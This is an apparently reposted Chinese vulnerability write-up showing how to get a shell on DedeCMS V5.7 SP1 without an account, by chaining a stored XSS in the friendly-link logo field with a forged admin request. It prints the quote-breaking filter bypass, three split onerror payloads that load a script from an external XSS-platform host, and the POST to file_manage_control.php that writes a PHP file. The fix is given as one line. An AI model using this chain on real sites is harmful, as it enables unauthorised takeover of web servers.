最近csrf又火了哈,各种csrf脱裤。dede后台挺方便就直接写getshell了 一直在白盒今天试试黑盒 结果发现了这个问题 不用注册,3条请求getshell 测试版本号 20140612
在黑盒测试友情链接功能的时候发现filter的一个bug网站logo处提交">_<'"<>发现后台显示logo时居然成功引入了双引号闭合了src属性。
经过多次测试发现 只要单引号后面跟"就能成功闭合双引号 于是提交测试代码
'" onerror=alert(1);//
成功弹出了alert 先用xss平台创建一个项目,然后自定义代码这里用的pkav的post get模块
post
http://192.168.1.114/dede/file_manage_control.phpdata
fmdo=edit&backurl=&activepath=&filename=csrf.php&str=%3C%3Fphp+phpinfo%28%29%3B%3F%3E&B1=++%E4%BF%9D+%E5%AD%98++因为此处字符长度有限制所以将payload拆分为3段 分别提交
'" onerror=s.src='http://xss平台/KCfTiA';//'" onerror=body.appendChild(s);//
'" onerror=s=createElement('script');//
注意显示的顺序与提交的顺序是相反的 所以要把payload顺序倒过来 提交完后访问后台友情链接模块
可以看到访问了js 然后访问了file_manage_control.php 文件管理可以看到shell已经躺在目录里了
修复方案:
xss 过滤器
查看更多关于DedeCMS-V5.7-UTF8-SP1 csrf getshell 无需会员中心 - 网站的详细内容...
声明:本文来自网络,不代表【好得很程序员自学网】立场,转载请注明出处:http://www.haodehen.cn/did15239